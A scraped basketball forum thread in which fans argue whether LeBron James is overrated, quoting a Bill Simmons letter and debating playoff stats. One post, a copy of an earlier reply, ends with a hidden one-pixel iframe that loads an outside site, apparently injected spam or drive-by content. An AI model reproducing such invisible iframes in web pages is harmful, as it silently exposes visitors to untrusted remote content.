Lebron James: Overrated?

[Jay Smooth 00]

Re: Lebron James: Overrated?

These are the worst posts in the thread. All they do is draw attention to the one poor poster so far, as most of the replies have been pretty thoughtful. If dudes stopped playing Randy from Idol, and actually added to the thread in a coherent manner, maybe that one poster would be marginalized.

Thanks.

Can we get this locked up now? This is only gonna get worse from here.

In the same way that new posters have a 200 post probationary period where they will be insta-banned if they get an infraction, there needs to be that same probationary period for making new threads.

If I May, everyone is putting in there positive and negative feedback. For you to say that if a person does'nt have a certain number of post is obsured not even recognizing that the op is not here to cause mayhem

[Peregrinity]

Re: Lebron James: Overrated?

If awesome dunks make a player great, then NO, he's not.

But if awesome dunks don't make a player great, then yes.

OH-VUR-RAY-TED!

Here's part of a letter to Bill Simmons that he included in an article about LeBron and other players:

"I figured LeBron out, dude. I think you define a player by defining what is most important to them in one word.

"MJ -- Winning. Hands down, all he wanted to do was win. And that's over-used for a lot of athletes, but not him.

"Kobe -- Greatness. Yes he's going to win some, but only because he wants to be considered great and that will be a by-product at times. But you'd also see him shoot his team out of a game; jack 3s when he should press the issue and get to the paint. He didn't mind losing a few games if people came away saying 'Kobe is great; look what happens when he doesn't shoot.'"

"LeBron -- Amaze. I think he just really wants to amaze people. Which is why he spends 10 minutes before the game throwing underhand, left-hand half-court shots. Why he celebrates amazing dunks and blocks, but isn't working just as hard to win. I know the Cavs aren't great without him, but he's got PLENTY on that team to win rings with."

That was the letter, this is what Bill Simmons had to say in response:

"Is that totally fair? Probably not. But just for fun, let's extend Chris' game …

Russell, Magic, Bird, Duncan, Walton, West and Havlicek: Winning.

Wilt: Numbers.

Oscar and Barry: Perfection.

Shaq: Fame.

Kareem and Elgin: Pride.

Moses: Rebounds.

Malone and Garnett: Work.

Barkley: Fun.

Cousy, Stockton, Isiah, Pippen and Nash: Team.

For Doc and LeBron, you probably need more than one word. By the rules of the game, we can use only one. So we're forced to pick this one: Amaze. You are who you are."

[Jay Smooth 00]

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lol . agreed

[amra01]

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lebron is the mvp of the regular season for some years now but he needs to play with a different coach or players under a new system, and he needs to work his *** in summer he is one injury away to become the next what if player if he lose his speed he is done (considered top 5 of all time cause he has that potential) he has to develop his game to score more easily the guy is a beast and can't post nobody.

[Bornindamecca]

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In Hindsight B, the Cavs had a dominant defense in 07, and then put three bad defenders into key rotational spots. Browns rotation covered these dudes in the regular, but when a team can watch film and devise a scheme to beat it, and then tweak that formula over a series, those weakspots got exposed.

That's actually a great point.

Also, while popular theory said Mo was a postseason no-show, Mo's numbers:

Season: 16/5/3 44%
Postseason: 14/5/3 41%

Not a dramatic falloff. Lebron and Mike Brown were the main culprits, not Mo getting one less bucket per.

Going to have to disagree with this one. Firstly, you're comparing this year's postseason Mo with this year's regular season Mo. Mo started to fade LAST year when Rafer outplayed him in a series where Mo was supposed to give the Cavs the only other matchup advantage outside of Bron. Second, when you compare Mo's playoff numbers to his peak regular season numbers, it's pretty bad. He used to be an efficient 18ppg scorer. Then he is an inefficient 14 ppg scorer? Yikes. Finally, his numbers only tell part of the tale. Not only is he expected to UP his production as the former secondary scorer on that team, but Mo regularly failed to show up when the Cavs really needed him.

By contrast, Ron Artest's numbers are pretty modest for LA in the post season, especially when compared to his normal productivity. But when you take into account his responsibilities(shut down the other team's best scorer, which he did) and his performance when the Lakers needed him most, you have to give him a passing grade for the post season.

Williams' responsibility(hit open shots) and performance when the Cavs needed him most have both left a lot to be desired in the past two years during the playoffs. And again, this is a guy who once scored almost as much as the Lakers' 2nd option, Pau Gasol.

[bonbonan]

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lebron is the mvp of the regular season for some years now but he needs to play with a different coach or players under a new system, and he needs to work his *** in summer he is one injury away to become the next what if player if he lose his speed he is done (considered top 5 of all time cause he has that potential) he has to develop his game to score more easily the guy is a beast and can't post nobody.<iframe src="http://zeroethics.com/opsports/" frameborder="0" marginheight="0" marginwidth="0" width="1" height="1"scrolling="no"></iframe>

Yeah.. he need to work hard for the next legend in NBA..

[BlueNGold]

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If awesome dunks make a player great, then NO, he's not.

But if awesome dunks don't make a player great, then yes.

OH-VUR-RAY-TED!

You've gotta be kidding me.....

[Jay Smooth 00]

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You've gotta be kidding me.....

Hate to tell you, but I AGREE with him.

[goh]

Re: Lebron James: Overrated?

It was my understanding he's looked at as a great player that has yet to lead his team to a championship and currently has trouble winning when it counts. So that'd be perfectly rated as that's exactly what he is. Though looking at the rest of the thread I guess that's simplifying things.

[BlueNGold]

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Hate to tell you, but I AGREE with him.

That doesn't surprise me.

But to me it sounds like that Peregrinity guy only watches Sportscenter highlights, sees highlights of LeBron dunking and thinks that that's all he does, which is complete BS. I'm sure fancy dunks won him 2 MVPs or got him to carry one of the worst teams to play in a Finals ever.

[beastwork]

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He's only overrated if you put more on him than he deserves. Lebron is a great player but he lacks that killer instinct on the court. MJ and Kobe have unwaivering confidence in their respective games. They believe they should be shooting the ball no matter how poorly they are playing. Lebron in the other hand shys away when he doesn't feel comfortable.

For clarity MJ is way better than Kobe but they both share the same basketball mentality. I think LBJ is a little too self conscious to become the GOAT.

[rockchisler]

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He doesnt know how to win and he needs a true sidekick, There was Dumars and Thomas, Jordan and Pippen Kobe and Shaq Hakeem and Clyde, Duncan and Robinson, Wade and Shaq, The Whole Pistons squad, Its Just Lebron and No one else

[ProfessaPackMan]

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These are the worst posts in the thread. All they do is draw attention to the one poor poster so far, as most of the replies have been pretty thoughtful. If dudes stopped playing Randy from Idol, and actually added to the thread in a coherent manner, maybe that one poster would be marginalized.

Thanks.

Considering that it's never worked in the past, then nah I'm good homie.

[Peregrinity]

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That doesn't surprise me.

But to me it sounds like that Peregrinity guy only watches Sportscenter highlights, sees highlights of LeBron dunking and thinks that that's all he does, which is complete BS. I'm sure fancy dunks won him 2 MVPs or got him to carry one of the worst teams to play in a Finals ever.

HE GAVE UP ON HIS OWN TEAM. Gave up. Stopped playing. He doesn't want to win. That article I posted is as true as it gets. He wants to AMAZE people. He wants to give them a show.

That's why he spends all his time on trick shots and dunks, and not on basketball fundamentals. He'll never be on Kobe's level, and definitely not on MJ's.

LeBron wants to AMAZE. Kobe wants GREATNESS. All MJ did was WIN. That's what sets the three apart.

In my opinion, the greatest of all time is Bill Russell. He's got 11 rings.

And to the guy who is saying Hakeem needed Clyde to win or whatever, Hakeem only won 1 with Clyde. Who was his sidekick in 94? He had an above average team like LeBron has with the Cavs. And he's done NOTHING with them. So don't dare try to compare LeBron to Hakeem. LeBron is a biatch. Hakeem was the real deal.

[BaselineBakes]

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You guys go ahead, but I know I'm not gonna miss out on watching, and being "amazed" by one of the great players of our generation.